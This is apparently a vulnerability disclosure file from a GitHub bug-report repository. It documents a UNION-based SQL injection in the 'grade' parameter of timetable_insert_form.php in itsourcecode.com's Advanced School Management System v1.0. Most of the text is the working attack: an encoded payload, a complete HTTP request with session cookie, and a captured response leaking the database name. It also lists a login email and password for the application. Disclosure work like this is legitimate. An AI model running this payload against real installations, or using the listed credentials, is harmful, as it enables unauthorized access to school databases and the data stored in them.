

master

...

bug_report / blob / main / vendors / itsourcecode.com / advanced-school-management-system / sql_injection3.md



Renrao sql injection

History

1 contributor

37 lines (24 sloc) | 1.27 KB

...

Advanced School Management System v1.0 by itsourcecode.com has SQL injection

Login account:

username: suarez081119@gmail.com

password: 12345

vendors: <https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/>

Vulnerability url: /school/view/timetable_insert_form.php?grade=

Vulnerability location: /school/view/timetable_insert_form.php

[+] Payload: /school/view/timetable_insert_form.php?grade=11%20union%20select%201%2cdatabase()%23

Leak place : grade

Current database name: std_db, length is 6

Request package:

```
GET /school/view/timetable_insert_form.php?grade=11%20union%20select%201%2cdatabase()%23 HTTP/1.1
Host: 10.12.171.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.12.171.4/school/view/timetable.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cp26rmntdlbhle8qiofns95sv7
Connection: close
```

SQL injection result: line 52 database name is displayed.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/school/view/timetable_insert_form.php?grade=11%20union%20select%201%2cdatabase()%23	HTTP/1.1	45			</option>
2	Host:	10.12.171.4		46			<option value="18">
3	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36					Subject 4
4	Accept:	/*/*		47			</option>
5	Referer:	http://10.12.171.4/school/view/timetable.php		48			<option value="19">
6	Accept-Encoding:	gzip, deflate					Subject 5
7	Accept-Language:	zh-CN,zh;q=0.9,en;q=0.8					</option>
8	Cookie:	PHPSESSID=cp26rmntdlbhle8qiofns95sv7		49			<option value="20">
9	Connection:	close		50			Subject 6
10							</option>
11				51			<option value="1">
				52			std db
							</option>
				53			
				54			</select>
				55			</div>
				56			<div class="form-group" id="divTeacher">
				57			<label for="">